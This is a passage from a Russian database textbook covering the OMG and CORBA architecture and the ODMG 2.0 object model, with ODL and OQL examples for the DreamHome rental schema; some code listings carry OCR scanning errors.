Методы преобразования изменяют (преобразуют) состояние экземпляра класса. Например, класс Sales_Staff может иметь метод Increment_Salary, который увеличивает значение зарплаты сотрудников на указанную величину. В некоторых системах для каждого атрибута метод обновления создается автоматически. Этот подход используется в очередном стандарте языка SQL, который для каждого атрибута каждого нового типа данных требует автоматического создания метода-мутатора (mutator), предназначенного для обновления (put) этих атрибутов (раздел 23.4).
Выявление требуемых методов
Существует несколько способов выявления требуемых методов, в которых обычно используются следующие подходы.
Идентификация классов и определение методов, которые могут оказаться полезными в каждом из классов.
Декомпозиция приложения сверху вниз и определение методов, которые будут необходимы для обеспечения требуемой функциональности.
Например, в учебном проекте DreamHome мы определили операции, которые выполняются в каждом отделении компании. Эти операции гарантируют, что требуемая информация будет доступна для целей эффективного управления работой отделения, а также для поддержки услуг, предлагаемых владельцам и арендаторам объектов недвижимости (см. раздел 1.7). Это так называемый нисходящий подход в проектировании, при котором производится опрос соответствующих пользователей и на основании его результатов определяются необходимые операции. Собрав сведения о требуемых операциях и подготовив EER-модель, содержащую все необходимые классы, можно приступать к выявлению нужных методов и определению классов, которым эти методы будут принадлежать.
Более полное описание способов идентификации методов выходит за рамки этой книги. Существует несколько методологий объектно-ориентированного анализа и проектирования, описание которых заинтересованный читатель сможет найти их в литературе (Rumbaugh et al., 1991; Coad and Yourdon, 1991; Graham, 1993; Blaha and Premerlani, 1997).
Стандарт объектной базы данных ODMG 2.0
В этом разделе рассматривается новый стандарт объектно-ориентированной модели данных (ООМД), который был предложен группой Object Database Management Group (ODMG). Он состоит из объектной модели (раздел 22.8.3), языка определения объектов, эквивалентного языку DDL в обычной СУБД (раздел 22.8.4), и языка объектных запросов с SQL-подобным синтаксисом (раздел 22.8.5). Так как объектная модель стандарта ODMG является надмножеством объектной модели стандарта OMG (Object Management Group), то этот раздел начинается с краткого представления функций, архитектуры и объектной модели стандарта OMG.
Предложения группы ОМС
Группа Object Management Group (OMG) — это международный некоммерческий консорциум, основанный в 1989 году для решения задач, связанных с вопросами стандартизации объектных технологий. В настоящее время в эту группу входят более 700 членов-организаций, включая практически все фирмы, которые разрабатывают аппаратное и программное обеспечение, в частности IBM, Sun, DEC, Microsoft, Apple, AT&T/NCR. Все эти фирмы согласились работать вместе для создания набора стандартов, приемлемого для всех. Основными целями группы OMG является всемерное распространение объектно-ориентированного подхода к созданию программного обеспечения, а также разработка стандартов, в которых расположение, среда, язык и прочие характеристики объектов являются абсолютно прозрачными для других объектов.
OMG не является общепризнанной группой разработки стандартов, в отличие от Международной организации по стандартизации (International Organization for Standardization — ISO) или таких национальных институтов, как Национальный институт стандартизации США (American National Standards Institute — ANSI) или Институт инженеров по электротехнике и электронике (Institute of Electrical and Electronics Engineers — IEEE). Целью группы OMG является разработка фактических стандартов, которые в конечном счете были бы приняты институтами ISO/ANSI. Группа OMG не разрабатывает и не распространяет никаких продуктов, а лишь сертифицирует их совместимость со стандартами OMG.
Группа OMG проводит исследования, целью которых является определение стандартных объектно-ориентированных функций, необходимых для поддержки нескольких дополнительных функциональных возможностей.
Параллельное выполнение. Позволяет многим объектам выполнять их методы одновременно либо на одном и том же компьютере, либо на разных.
Распределенные транзакции. Обеспечивает свойство атомарности для взаимодействия групп объектов.
Контроль версий. Позволяет таким образом управлять изменениями свойств объектов, чтобы объектные ссылки всегда указывали на корректную версию объекта.
Уведомление о событии. Автоматически активизирует объекты при возникновении определенных событий.
Интернационализация. Прозрачно обрабатывает любые различия, специфические для отдельной страны.
В 1990 году группа OMG опубликовала документ под названием “Руководство по архитектуре управления объектами” (Object Management Architecture Guide) (Soley, 1990, 1992 and 1995). Это руководство определяет единую терминологию для объектноориентированных языков, систем, баз данных и каркаса приложений; абстрактный каркас для объектно-ориентированных систем; набор технических и архитектурных целей; а также эталонную модель для распределенных приложений с использованием объектно-ориентированных методов. Для эталонной модели были предложены четыре области стандартизации: объектная модель (Object Model — ОМ), брокер объектных запросов (Object Request Broker — ORB), объектные службы (Object Services) и компоненты общего назначения (Common Facilities) — как показано на рис. 22.13.
Объектная модель (ОМ)
ОМ-модель является переносимой абстрактной моделью данных, предназначенной для взаимодействия с OMG-совместимыми объектно-ориентированными системами (рис. 22.14). Инициатор запроса (Запрашивающий) посылает запрос объектным службам брокера объ-
ектных запросов (ORB-брокеру), который следит за всеми объектами в системе и типами предоставляемых им сервисов. ORB-брокер пересылает сообщение провайдеру, который реагирует на это сообщение и через ORB-брокер передает ответ запрашивающему.
ПровайдерыПровайдерыРис. 22.14. Объектная модель OMGРис. 22.14. Объектная модель OMG
Провайдеры
Провайдеры
Рис. 22.14. Объектная модель OMG
Рис. 22.14. Объектная модель OMG
КоллекцииКоллекцииПараллельностьУправление событиямиЭкстернированиеПараллельностьУправление событиямиЭкстернированиеЛицензированиеЛицензирование
Коллекции
Коллекции
Параллельность
Управление событиями
Экстернирование
Параллельность
Управление событиями
Экстернирование
Лицензирование
Лицензирование
Брокер объектных запросов (ORB)
ORB-брокер отвечает за распределение сообщений среди объектов приложения и интенсивно взаимодействует с ними. Фактически ORB-брокер является программной шиной, которая позволяет запрашивающим объектам выполнять запросы к провайдерам сервисов и получать их ответы и запросы. После получения ответа от провайдера ORB-брокер транслирует его в вид, понятный исходному инициатору запроса. ORB-брокер выполняет функции, аналогичные определенным в коммуникационном стандарте Х500 для электронной почты, по которому инициатор запроса может посылать запрос к другому приложению или узлу без указания какой-либо детальной информации о его структуре сервиса каталогов. Таким образом, ORB во многих случаях позволяет избежать необходимости обращаться к сложной технологии удаленного вызова процедур (RPC), предоставляя механизм, с помощью которого объекты могут прозрачно посылать запросы и получать на них ответы. Цель заключается в том, чтобы обеспечить взаимодействие приложений в неоднородной распределенной среде и прозрачно соединить между собой системы с большим количеством объектов.
Объектные службы
Объектные службы (сервисы) предоставляют основные функции для реализации базовых функциональных возможностей объектно-ориентированной среды. Многие из этих сервисов предназначены специально для работы с базами данных. Ниже приводится перечень некоторых таких сервисов и дано их краткое описание.
Обеспечивает универсальный способ создания и манипулирования наиболее распространенными типами коллекций: множествами, очередями, стеками, списками и бинарными деревьями.
Включает менеджера блокировки, позволяющего координировать доступ к общим ресурсам со стороны многих клиентов.
Позволяет компонентам динамически регистрировать их интерес или утрату интереса к определенным событиям.
Предоставляет протоколы и соглашения для экстернирования и интернирования объектов. Под экстернированием понимается запись состояния объекта в виде потока данных (например, в оперативной памяти, на жестком диске, в сети), а под интернированием — создание на основе этого потока нового объекта в том же или другом процессе.
Предоставляет операции для измерения уровня использования компонентов с целью контроля легальности их использования и обеспечения защиты интеллектуальной собственности.
Жизненный цикл
Предлагает операции для создания, копирования, перемещения и удаления групп связанных объектов.
Именование
Предоставляет средства для связывания имени с объектом, который относится к контексту именования.
Перманентность
Предоставляет интерфейсы для механизмов перманентного хранения объектов и управления ими.
Свойства
Предоставляет операции для связи именованных значений (свойств) с любым (внешним) компонентом.
Запрос
Предоставляет декларативные операторы запросов с предикатами, включая способность вызывать операции и другие объектные сервисы.
Связь
Предоставляет способ создания динамических ассоциативных связей между компонентами, которым ничего неизвестно друг о друге.
Защита
Предоставляет такие сервисы, как идентификация и аутентификация, авторизация и управление доступом, аудит, безопасность передачи информации, безотказность и администрирование.
Время
Обеспечивает единый способ представления отметок времени для разных компьютеров.
Маклер
Предоставляет сервис поиска соответствия между объектами, что позволяет одним объектам автоматически рекламировать свои сервисы, а другим объектам — регистрировать необходимость того или иного сервиса.
Транзакции
Поддерживают координацию двухфазной фиксации транзакций в среде восстанавливаемых компонентов при использовании простых или вложенных транзакций.
Компоненты общего назначения
Компоненты общего назначения охватывают набор задач, которые должны выполнять многие приложения и которые обычно? дублируются в них. В эталонной модели OMG они реализуются с помощью ОМА-совместимых интерфейсов классов. Примерами являются компоненты печати и электронной почты. В самой последней версии этой архитектуры компоненты общего назначения разбиты на две группы: горизонтальные компоненты общего назначения и вертикальные компоненты прикладной области. Компоненты прикладной области являются специальными интерфейсами для таких прикладных областей, как, например, финансы, здравоохранение, производство, телекоммуникации, электронная коммерция и транспорт.
Архитектура CORBA
Архитектура Common Request Broker Architecture (CORBA) определяет архитектуру сред, использующих ORB-брокеры. Она является основой любого OMG- совместимого компонента, определяя составные части ORB-брокера и связанных с ним структур. Спецификация CORBA 1.1 была представлена в 1991 году. Она определяет язык определения интерфейса IDL (Interface Definition Language) и программный интерфейс приложения (API), которые позволяют организовать взаимодействие клиента и сервера с использованием специально разработанного ORB- брокера. В декабре 1994 года была выпущена спецификация CORBA 2.0, которая обеспечивает повышенную степень взаимодействия за счет указания способа взаимодействия между ORB-брокерами, созданными различными фирмами-разработчиками. В конце 1997 года появилась спецификация CORBA 2.1 (OMG, 1997). Ниже перечислены некоторые элементы архитектуры CORBA.
Язык IDL (Interface Definition Language), позволяющий описывать интерфейсы классов независимо от произвольно выбранных СУБД или языка программирования.
Модель типов, содержащая определение значений, которые могут передаваться по сети.
Репозиторий интерфейсов (Interface Repository), в котором представлена информация об интерфейсах и типах и который используется для создания динамических запросов во время выполнения программы с помощью интерфейса динамических вызовов (Dynamic Invocation Interface).
Методы доступа к интерфейсам и спецификациям объектов.
Методы преобразования OID-идентификаторов в строки и обратно.
IDL-интерфейсы можно использовать одним из двух способов. На основании IDL- определений объекты в архитектуре CORBA могут быть отображены на такие языки программирования или объектные системы, как С, C++, Smalltalk и Java. Это позволяет создавать суррогаты интерфейсов с помощью прикладного языка программирования (на клиентской части), используемые для вызова запросов. Такие же суррогаты интерфейсов используются при реализации объекта (на серверной части) для создания каркаса программы, который затем наполняется неким содержимым для организации требуемого поведения.
Некоторые фирмы-разработчики, включая DEC, Sun, Hewlett-Packard, IBM, Object Design Inc. и Objectivity, объявили о создании продуктов, которые удовлетворяют спецификации архитектуры CORBA, и несомненно то, что многие другие фирмы- разработчики вскоре последуют за ними.
Объектная модель группы ODMG
Несколько наиболее крупных фирм-разработчиков образовали группу Object Database Management Group (ODMG) с целью определения стандартов, необходимых для ООСУБД. Среди них следует упомянуть GenStone Systems, Object Design, 02 Technology, Versant Object Technology, UniSQL, POET Software, Objectivity, IBEX Computing SA и Lockheed Martin. Группа ODMG создала объектную модель, которая определяет стандартную модель для семантики объектов базы данных. Эта модель имеет очень большое значение, поскольку в ней определяется встроенная семантика, которая будет понятна для ООСУБД и может быть использована ею. Макеты библиотек классов и приложений с такой семантикой должны быть переносимыми среди разных ООСУБД, в которых поддерживается эта объектная модель (Connolly, 1994).
Ниже перечислены основные компоненты архитектуры ODMG для ООСУБД.
Объектная модель (Object Model — ОМ).
Язык определения объектов (Object Definition Language — ODL).
Язык объектных запросов (Object Query Language — OQL).
Связующий язык C++.
Связующий язык Smalltalk.
Связующий язык Java.
Первых три компонента рассматриваются в конце этого раздела, а более подробную информацию про три связующих языка можно найти в работе Кателла (Cattell, 1997). Первая версия стандарта ODMG была выпущена в 1993 году. С тех пор было выпущено несколько небольших поправок к ней, а следующая обновленная версия ODMG 2.0 была принята в сентябре 1997 года. Она включает усовершенствования, перечисленные ниже.
Новая возможность связывания на основе языка программирования Java фирмы Sun.
Полностью пересмотренная версия объектной модели с новой метамоделью для поддержки семантики базы данных среди нескольких языков программирования.
Стандартный внешний вид данных и схемы данных, который позволяет выполнять передачу данных между базами данных.
Объектная модель (ОМ)
Объектная модель ODMG является надмножеством объектной модели OMG, позволяющим переносить макет и реализацию между совместимыми системами. В ней определены следующие основные модельные понятия.
Основными модельными понятиями являются объект и литерал, но только объект обладает уникальным идентификатором.
Объекты и литералы могут быть разбиты на типы. Все объекты заданного типа демонстрируют общее поведение и состояние. Сам по себе тип также является объектом. х
Поведением называется набор операций, которые могут быть выполнены объектом или над ним.
Состояние определяется значениями, которые имеются у набора свойств объекта. Свойство может быть либо атрибутом объекта, либо связью между двумя или несколькими объектами.
Объекты хранятся в базе данных, которая позволяет многим пользователям и приложениям совместно использовать их. Она основана на схеме, которая определяется на языке определения объектов (Object Definition Language — ODL). База данных содержит экземпляры типов, определенных ее схемой.
Объекты
Типы объектов можно разбить на атомарные, коллекции или структурированные типы, как показано в листинге 22.1. В этой структуре типов курсивным начертанием показаны абстрактные типы, а обычным — непосредственно реализуемые типы. В качестве основных типов могут использоваться только непосредственно реализуемые типы. Угловыми скобками <> отмечены типы-генераторы. Обратите внимание на то, что структурированные типы определены согласно спецификации ISO SQL (см. раздел 13.4.2).
Листинг 22.1. Полный набор встроенных типов для объектной модели ODMG
Literal_ type
Atomic_literal long short unsigned long unsigned short float double boolean octet char string enumo // перечисление
Col lection-1iteral set<> bag<> listo arrayo dictionaryo
Structured-literal date time timestamp
interval structureo
Object_ type Atomic_object Collection_object
Seto Bago Listo Arrayo Dictionaryo
Struetured_ object Date
Time Timestamp Interval
Объекты создаются с помощью метода new() соответствующего интерфейса-фабрики (factory interface), который реализуется посредством связующего языка. Кроме того, все объекты имеют ODL-интерфейс, представленный в листинге 22.2, который неявно наследуется в определениях всех определенных пользователем объектов.
Листинг 22.2. ODL-интерфейс объектов
interface Object {
enumLock_Type{read, write, upgrade};
exception LockNotGranted{};
voidlock(in Lock_Type mode) raises(LockNotGranted);
// Установка блокировки с ожиданием при необходимости
booleantry_lock(in Lock_Type mode);
fl Установка блокировки без ожидания, если не получена сразу booleansame_as(in Object anObject);
// Сравнение идентичности
Objectсору();
// Копирование объекта, копия не является "тем же самым" voiddelete();
// Удаление объекта из базы данных
Каждый объект обладает уникальным идентификатором объекта, который не изменяется и не используется повторно после удаления этого объекта. Кроме того, объекту можно присвоить одно или несколько удобных для пользователя имен при условии, что каждое имя определяет один объект в области видимости определения этого имени, т.е. в пределах базы данных.
В стандарте также указано, что время жизни объекта ортогонально его типу, т.е. перманентность не зависит от типа объекта. Время жизни объекта задается во время его создания и может иметь один из следующих двух типов.
Временный объект. Память для объекта выделяется и освобождается системой времени выполнения языка программирования. Обычно выделение памяти осуществляется из стека для объектов, объявленных в заголовке процедуры, и из статической или динамической области (кучи) для динамически создаваемых объектов (с областью видимости в рамках процесса).
Перманентный объект. Хранение объекта обеспечивается средствами СУБД.
Литералы
Типы литералов можно разбить на атомарные, коллекции, структурированные типы и объекты без типа. Значения свойств литералов не могут изменяться. Литералы не могут иметь собственные идентификаторы и не могут существовать отдельно, как объекты. Они всегда встроены в объекты и на них нельзя ссылаться индивидуально. Структурированные литералы содержат фиксированное количество именованных неоднородных элементов. Каждый элемент представляет собой пару <имя, значение^ где параметр значение может задавать любой литеральный тип. Например, можно определить следующую структуру с именем Address:
struct Address {
string street;
string area;
string city?
string street;
string post_code;
};
attribute Address branch_address;
В этом отношении структура аналогична типам struct и record в языках программирования. Поскольку структуры являются литералами, они могут выступать в качестве значения атрибута в определении объекта.
Коллекции
В объектной модели ODMG коллекция содержит произвольное количество неименованных однородных элементов, каждый из которых может быть экземпляром атомарного типа, другой коллекции или литерального типа. Единственное отличие между коллекцией объектов и коллекцией литералов заключается в том, что первая обладает идентификатором. Например, набор из всех отделений компании можно определить как коллекцию. Перемещение по коллекции организуется с помощью итератора, который содержит информацию о текущем положении внутри данной коллекции. Коллекции могут быть упорядоченными или неупорядоченными. В упорядоченных коллекциях обход совершается с первого элемента в направлении к последнему или наоборот; тогда как для неупорядоченных коллекций не существует фиксированного порядка обхода. Коллекции имеют операции, представленные в листинге 22.3.
: Листинг 22.3. ODL-интерфейс для коллекций
interface Collection: Object {
exceptionInvalidCollection{};
exceptionElementNotFound{any element};
unsigned longcardinality));
// Возвращает количество элементов коллекции booleanis_empty();
// Проверяет, является ли коллекция пустой booleaniS-Ordered();
// Проверяет, является ли коллекция упорядоченной booleanallows_duplicates();
// Проверяет, разрешены ли дубликаты
booleancontains_element(in any element);
И Проверяет наличие заданного элемента voidinsert-element(in any_element);
// Вставка указанного элемента
voidremove-element(in any element) raises(ElementNotFound);
И Удаление указанного элемента
Iteratorcreate_iterator(in boolean stable);
// Создание итератора, перемещающегося только вперед
Bidirectionallterator create_bidirectional_iterator(in boolean stable) RaisesVlnvalidCollectionType);
II Создание двунаправленного итератора
Стабильность итератора определяется его защищенностью по отношению к изменениям, внесенным в коллекцию во время итерации. Объект итератора, помимо прочих, имеет методы для помещения указателя итератора на первую запись, получения текущего элемента, перехода итератора к следующему элементу. Эта модель определяет пять встроенных подтипов коллекций.
Множество (set): неупорядоченная коллекция, в которой не допускаются дубликаты.
Портфель (bag): неупорядоченная коллекция, в которой допускаются дубликаты.
Список (list): упорядоченная коллекция, в которой допускаются дубликаты.
Массив (array): одномерный массив с динамически изменяемой длиной.
Словарь (dictionary): неупорядоченная последовательность пар типа ключ- значение, не допускающая наличия ключей-дубликатов.
Каждый подтип обладает операциями для создания экземпляра данного типа и вставки элемента в данную коллекцию. Множества и портфели включают обычный набор операций: объединение, пересечение и разность множеств.
Типы и классы
Тип имеет одну спецификацию и одну или несколько реализаций. Внешняя спецификация определяет свойства и операции, которые могут быть вызваны при работе с экземплярами данного типа. Реализация определяет структуры данных, исключения и методы, которые взаимодействуют со структурами данных для поддержки требуемого состояния и поведения. Комбинация спецификации типа и ее реализации называется классом. Интерфейсным определением называется спецификация, которая определяет только абстрактное поведение объектного типа, а литеральным определением — спецификация, которая определяет только абстрактное состояние литерального типа. Таким образом, тип является абстрактной концепцией, а класс — концепцией реализации. В интерфейсном определении типа задаются его супертип(ы), экстент и ключи.
Супертип (supertyp). Объектные типы связаны структурой типа супер- тип/подтип. Все атрибуты, связи и операции, определенные для супертипа, наследуются подтипом. В подтипе могут определяться дополнительные свойства и операции, а также могут переопределяться унаследованные свойства и операции.
Экстент (extent). Набор всех экземпляров заданного типа образует его экстент. Программист может потребовать, чтобы в ООСУБД существовал индекс для членов этого набора. Удаление объекта приведет к удалению объекта из экстента того типа, к которому относился этот экземпляр.
Ключ (key). Ключ единственным образом идентифицирует экземпляры некоторого типа (аналогично понятию потенциального ключа, определенного в разделе 3.2.5).
Свойства
В объектной модели ODMG предусмотрены два типа свойств: атрибуты и связи.
Атрибуты
Атрибут определяется для одного типа объектов. Он не является объектом “первого класса”, иначе говоря, он не является объектом и не имеет идентификатора объекта, но может принимать в качестве значения литерал или идентификатор объекта. Например, объект Branch имеет атрибуты для номера отделения компании, адреса, номера телефона и факса.
Связи
Связи задаются между типами. Однако текущая модель поддерживает только бинарные связи типа 1:1, 1:М и M:N. Связь не имеет имени, а потому не является объектом “первого класса”. Вместо этого в интерфейсе для каждого направления обхода определяются пути обхода (traversal paths). Например, отделение компании (объект Branch) имеет (связь Has) некоторое количество сотрудников (объекты Staff), а каждый сотрудник (объект Staff) работает (связь WorksAt) в некотором отделении компании (объект Branch). Эти связи могут быть представлены следующим образом:
interface Branch
<
relationship set <Staff> Has inverse Staff:: WorksAt
}
interface Staff
{
relationship set <Branch> WorksAt inverse Branch:: Has
}
На стороне “многие” этих связей объекты могут быть неупорядочены (в виде набора или портфеля) или упорядочены (в виде списка). Ссылочная целостность для связей автоматически поддерживается средствами ООСУБД. Когда предпринимается попытка перехода по связи, в которой удален один из ее объектов-участников, генерируется исключительная ситуация (т.е. сообщение об ошибке). В этой модели определяются встроенные операции для вставки и удаления членов связи, а также для управления ограничениями поддержки ссылочной целостности. Например, описанный выше интерфейс Staff может вызвать появление следующих определений операций для связи с объектом Branch (в классе Staff):
attribute BranchWorksAt;
voidform_WorksAt(in Branch aBranch);
voiddrop_WorksAt(in Branch aBranch);
Операции
Экземпляры объектного типа обладают поведением, которое определяется в виде набора операций. Определение объектного типа включает сигнатуру операции (operation signature) для каждой операции, которая задает имя операции, имена и типы всех ее аргументов, имена всех исключительных ситуаций, которые могут возникнуть при ее выполнении, а также типы возвращаемых значений (если таковые имеются). Операция может быть определена только в контексте единственного объектного типа. Для имен операций поддерживается перегрузка. В этой модели предполагается последовательное исполнение операций, причем не требуется специальная поддержка для параллельных, разделяемых или удаленных операций, хотя такая поддержка не исключается.
Исключительные ситуации
В модели ODMG поддерживаются динамически вложенные дескрипторы исключительных ситуаций. Как уже упоминалось выше, операции могут вызывать появление исключительных ситуаций, которые, в свою очередь, могут обмениваться результатами таких ситуаций. Исключительные ситуации являются объектами “первого класса”, способными образовывать иерархию обобщения-специализации с корневым типом Exception, предусмотренным в ООСУБД.
Метаданные
Как уже указывалось в разделе 2.7, метаданными называются “данные о данных”, т.е. данные, которые описывают такие объекты системы, как классы, атрибуты и методы. Многие существующие ООСУБД не рассматривают метаданные как самостоятельные объекты, а потому пользователи не могут создавать запросы по отношению к метаданным аналогично тому, как это делается в отношении других объектов. В модели ODMG метаданные описывают следующие компоненты.
Области видимости, которые определяют иерархию именования для метаобъектов в репозитории.
Метаобъекты, состоящие из модулей, операций, исключительных ситуаций, констант, свойств (состоящих их атрибутов и связей) и типов (состоящих их интерфейсов, классов, коллекций и структурированных типов).
Спецификаторы, которые используются для назначения имени определенному типу в некотором контексте.
Операнды, которые образуют базовый тип для всех постоянных значений в репозитории.
Транзакции
В модели ODMG поддерживается концепция транзакции, представляющей собой логическую единицу работы, переводящую базу данных из одного непротиворечивого состояния в другое (см. раздел 17.1). В этой модели предполагается линейная последовательность выполнения транзакций внутри потока управления. Управление параллельностью основано на стандартных блокировках для записи/чтения пессимистического протокола управления параллельностью. Все операции доступа, создания, изменения и удаления перманентных объектов должны выполняться в рамках транзакции. В этой модели определены встроенные операторы запуска, фиксации и отмены транзакции, а также операция создания контрольной точки. Операция контрольной точки фиксирует все измененные объекты в базе данных без снятия любых блокировок до возобновления транзакции.
В этой модели не предполагается поддержка распределенных транзакций, но утверждается, что если таковая имеется, то она должна быть ХА-совместимой (см. раздел 20.5).
Базы данных
В модели ODMG концепция базы данных понимается как эквивалент области хранения перманентных объектов заданного набора типов. База данных имеет схему, которая представляет собой набор определений типов. Каждая база данных является экземпляром типа Database с встроенными операциями ореп() и closed, а также с операцией lookup d, предназначенной для проверки наличия в базе данных заданного объекта. Именованные объекты являются точками входа в базу данных, причем имя связывается с объектом с использованием встроенной операции bindd, а разрывается такая связь с помощью встроенной операции unbind ().
Язык описания объектов (Object Definition Language — ODL) является специфицирующим языком, предназначенным для создания определений объектных типов в ODMG-совместимых системах. Основным его назначением является упрощение переносимости схем между совместимыми системами с поддержкой возможности взаимодействия между ООСУБД. Язык ODL эквивалентен языку определения данных DDL в традиционных СУБД. Он предназначен для определения атрибутов и связей между типами, а также задания сигнатуры операций. При этом описание конкретной реализации заданных сигнатур не предусматривается. Синтаксис языка ODL расширяет синтаксис языка определения интерфейсов IDL, определенного в архитектуре CORBA (OMG и Х/Ореп, 1992). Специалисты из группы ODMG надеются, что язык ODL станет основой для интеграции схем, полученных из множества источников и приложений.
Полное описание спецификации синтаксиса языка ODL выходит за рамки этой книги. Некоторые элементы данного языка иллюстрируются в следующем примере, а более подробное определение заинтересованный читатель сможет найти в работе Каттелла (Cattell, 1997).
Пример 22.1. Использование языка ODL
Рассмотрим упрощенную схему сдачи недвижимости в аренду в компании DreamHome, представленную на рис. 22.15. Пример определения этой части схемы на языке ODL показан в листинге 22.4.
Рис. 22.15. Пример подсхемы сдачи недвижимости в аренду в компании DreamHome
Листинг 22Л. Определение на языке ODL подсхемы сдачи недвижимости в аренду в агентстве DreamHbme ' interface Branch // Определение интерфейса объекта Branch
(extent branch offices•
key bno)"
{
/* Определение атрибутов */.
struct Branch Address {string street, string area, string ci|y, string post code};
attribute string bno;',
attribute Branch Address br address?, '
' attribute string tel no; attribute string fax no?,
/♦ Определение связей */1
relationship Manager ManagedBy inverse Manager::Manages;
relationship Set<Sales Staff» Has inverse Sales Staff::WorksAt; relationship Set<Property for Rent» Oversees .inverse Property for Rent::IsOverseenBy?
/♦ Определение операций ♦/'.
void take on property for rent(in* Property for Rent) raises(property already for rent);
}.
interface Person {// Определение интерфейса объекта Person
/* Определение атрибутов */’
struct PName { string fname, string Iname};
attribute PName name?
attribute string address;
attribute string tel no;
attribute string sex;
attribute date date of birth?v
/* Определение операций */ short age()?
}-
interface Staff:Person И Определение интерфейса объекта Staff, И производного от объекта Person
(extent staff; keys sno, nin)*
<
/* Определение атрибутов */ enum {Manager, Deputy, Snr Asst, Assistant} position type;
// Перечисление для определения должности
attribute string sno;
attribute position type position;
attribute float salary?
attribute string nin;.
/* Определение операций */.' ■
void delete staff() raises(no such staff member); void increase salary(in float);
}
interface Manager:Staff H Определение интерфейса объекта Manager Staff, // производного от объекта Staff
(extent managers),
{ /* Определение связей */ relationship Branch Manages inverse Branch::ManagedBy;
interface Sales Staff:Staff II Определение интерфейса для объекта Sales Staff, И производного от объекта Staff
(extent sales staff).
{
/* Определение связей */
relationship Branch WorksAt inverse Branch::Has;
/* Определение операций ♦/
void transfer staff(in from:Branch, in to;Branch) raises(does not work in branch);
}
22.8.5. Объектно-ориентированный язык запросов OQL
Объектно-ориентированный язык запросов (Object Query Language — OQL) представляет собой декларативное средство доступа к объектно-ориентированной базе данных, использующее SQL-подобный синтаксис. В нем не предусмотрены операторы явного обновления, поскольку подобные функции предоставляются операциям, определенным в объектных типах. Так же, как и в случае языка SQL, язык OQL может использоваться как самостоятельный или как язык, операторы которого внедряются в программы на другом, базовом языке, для чего в стандарте ODMG определен порядок их связывания. В настоящее время поддерживаются базовые языки Smalltalk, C++ и Java. Язык OQL может вызывать операции, которые программируются на этих языках. Запрос на языке OQL является функцией доставки того объекта, чей тип может быть логически выведен на основании оператора, входящего в состав выражения для данного запроса. Прежде чем обсуждать создание OQL-запросов, следует предварительно познакомиться с правилами составления выражений.
Выражения
Выражение для определения запроса
Выражение для определения запроса имеет вид DEFINE Q AS е, где Q — имя запроса, а е — выражение запроса.
Элементарные выражения
Выражение может состоять из следующих компонентов:
атомарного литерала, например 10, 16.2, 'х', "abode", true, nil;
именованного объекта, например экстента отделений компании branch_- offices, представленного в листинге 22.4;
переменной итератора из предложения FROM оператора SELECT-FROM-WHERE, например е as х, или е х, или х in е, где е — коллекция типов (Т), а х — некий объект типа Т;
выражение определения запроса (показанное выше для запроса Q).
Выражения-конструкторы
Если Т — это имя типа со свойствами р1г ... рп, а е1г ... еп — некоторые выражения, то в таком случае Tfp/.e;, ... pn:en) — это выражение- конструктор типа Т. Ниже приводится пример такого выражения:
Branch(bno:"B3", manager:"Susan Brand")
Аналогично, выражения-конструкторы можно создавать с помощью встроенных типов struct, set, list, bag и array. Например, приведенное ниже выражение динамически создает экземпляр типа struct:
struct(bno:"B30, street:"163 Main St")
Атомарные выражения
Выражения могут создаваться на основе стандартных унарных или бинарных операций с выражениями. Более того, если S является строкой, то для образования выражений могут использоваться следующие операции:
конкатенация строк (11 или +);
смещение в строке Si (где i — целое число), которое означает i+1 символ строки;
S[low:up], которое означает подстроку S, начиная с символа low+1 и заканчивая символом ир+1;
с in S (где с — символ), которое возвращает логическое значение true, если символ с находится в строке S;
S like <маска>, где <маска> содержит символы '?' или '_', обозначающие любой символ, и символы **’ или 'V, обозначающие любую подстроку, включая пустую; если строка S удовлетворяет маске, то возвращается логическое значение true.
Объектные выражения
Объектные выражения могут быть образованы с помощью операций равенства (=) и неравенства (!=), возвращающих логические значения. Если е является выражением типа, имеющего атрибут или связь Р типа Т, то е.Р и е—>Р будут выражениями типа Т« Таким же образом для возвращения выражения могут быть вызваны методы. Если метод не имеет параметров, то в таком случае скобки метода могут быть опущены.
Выражения с коллекциями
Выражения можно создавать на основе универсального квантора (for all), квантора существования (exsists), проверки наличия элемента (in), предложения выбора (select from where), оператора сортировки (sort), унарных операторов для работы с множествами (min, max, count, sum, avg) и оператора группировки (group). Формат предложения SELECT аналогичен стандартному SQL-выражению SELECT (см. раздел 13.3.1).
SELECT [DISTINCT]
<выражение>
FROM
<список_из>
[WHERE
<выражение>]
[GROUP BY
<атрибуты>] [HAVING <предикат>]
[ORDER BY
<выражение>]
Здесь <список_из> означает следующее выражение:
<имя_переменной> IN <выражение> |
<имя_переменной> IN <выражение>, <список_из> |
<выражение> AS <имя_переменной>|
<выражение> AS <имя_переменной>, <список_из>
Результатом выполнения запроса в случае SELECT DISTINCT является множество, а в случае SELECT — портфель. Предложения ORDER BY, GROUP BY и HAVING имеют смысл, аналогичный ключевым словам SQL-операторов (см. раздел 13.3.2 и 13.3.4).
Выражения для индексированных коллекций
Если ет и е2 являются списками или массивами, а е3 и е4 — целыми числами, тогда ejej, е2(ез:е41, first(e1), last(e1) и (е3 + е2) являются допустимыми выражениями для индексированных коллекций.
Бинарные выражения с множествами
Если е; и е2 являются множествами или портфелями, тогда такие операторы для работы с множествами, как объединение, исключение и пересечение, примененные для в; и е2, также являются выражениями.
Выражения для работы со структурами
Если е — выражение, ар — название свойства, тогда е.р и е—>р являются выражениями, которые позволяют извлечь свойство р объекта е.
Выражения преобразования
Если е является выражением, то element(е) является выражением, которое проверяет выражение е и порождает исключительную ситуацию, если результат этого выражения не является одноэлементным множеством.
Если результатом выражения е является список, тогда listtoset(e) является выражением, которое преобразует список в множество.
Если результатом выражения е является коллекция, тогда flatten(е) является выражением, которое преобразует коллекцию коллекций в обычную коллекцию, т.е. линеаризирует исходную структуру.
Если е является выражением, ас — именем типа, то с(е) является выражением, которое утверждает, что е является объектом типа с. В противном случае порождается исключительная ситуация.
Объектные выражения
Если е является объектом, a f — операцией, то e.f и е—>f являются выражениями, которые применяют эту операцию к данному объекту. В случае необходимости операция может содержать в качестве параметров несколько других выражений.
Запросы
Запрос состоит из набора (возможно, даже пустого) выражений определения запроса, за которым следует еще одно выражение. Результатом выполнения запроса является объект с идентификатором или без него.
у Пример 22.2. Использование языка запросов Object Query Language (OQL)
= 1. Получить сведения обо всех сотрудниках (с идентификаторами).
| Запрос выглядит очень просто:
, staff
2. Получить сведения обо всех менеджерах отделений компании (с идентифи- . катерами).
: В этом случае запрос выглядит так:
[ branch_offices.ManagedBy.
3. Получить сведения обо всех сотрудниках, которые проживают в Лондоне (без
. идентификаторов).
